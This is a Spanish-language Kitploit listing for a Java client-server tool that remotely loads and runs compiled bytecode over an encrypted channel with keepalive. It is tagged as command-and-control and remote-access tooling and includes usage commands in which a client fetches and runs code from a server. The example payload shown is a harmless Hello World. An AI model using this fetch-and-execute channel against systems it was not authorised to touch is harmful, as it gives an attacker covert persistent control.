Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
java-remote-class-loader — Herramienta cliente-servidor para cargar y ejecutar bytecode Java de forma remota mediante ClassLoader y Reflect API, con cifrado ChaCha20 y conexión keepalive. | Kitploit
Herramientas/GitHubGitHub/joaovarelas/java-remote-class-loader
Herramientas de Cifrado/DescifradoGeneración de PayloadsExplotaciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

Herramienta cliente-servidor para cargar y ejecutar bytecode Java de forma remota mediante ClassLoader y Reflect API, con cifrado ChaCha20 y conexión keepalive.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
346hace 3 añosRevisado por Kitploit

java-remote-class-loader

Esta herramienta te permite enviar bytecode de Java en forma de archivos de clase a tus clientes (o potenciales objetivos) para cargarlos y ejecutarlos usando ClassLoader de Java junto con la API Reflect. El cliente recibe el archivo de clase del servidor y devuelve la salida de ejecución correspondiente. Los payloads deben estar escritos en Java y compilados antes de iniciar el servidor.

Características

  • Arquitectura cliente-servidor
  • Carga remota de archivos de clase Java
  • Cifrado en tránsito usando el cifrado ChaCha20
  • Configuración definida mediante argumentos
  • Mecanismo de keepalive para restablecer la comunicación si el servidor se reinicia

Instalación

La herramienta ha sido probada usando OpenJDK 11 con el paquete JRE de Java, tanto en Windows como en Linux (versión portable zip). La versión de Java debe ser 11 o superior debido a las dependencias.

https://www.openlogic.com/openjdk-downloads

Uso

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

Ejemplo

Suponiendo que tienes el siguiente payload Hello World en el archivo Payload.java:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

Luego debes compilar y producir el archivo Payload.class correspondiente.

Para ejecutar el proceso del servidor escuchando en el puerto 1337 en todas las interfaces de red:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

En el lado del cliente, puedes usar el mismo paquete JAR con la bandera -client y usar la clave simétrica generada por el servidor. Especifica la dirección IP y el puerto del servidor al que conectarte. También puedes cambiar el nombre de la clase y el método de la clase (los valores predeterminados son Payload y String exec() respectivamente). Además, puedes especificar -keepalive para que el cliente siga solicitando el archivo de clase del servidor mientras mantiene la conexión.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Referencias

Consulta https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ para una publicación de blog relacionada con el desarrollo de esta herramienta.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

Descargar herramienta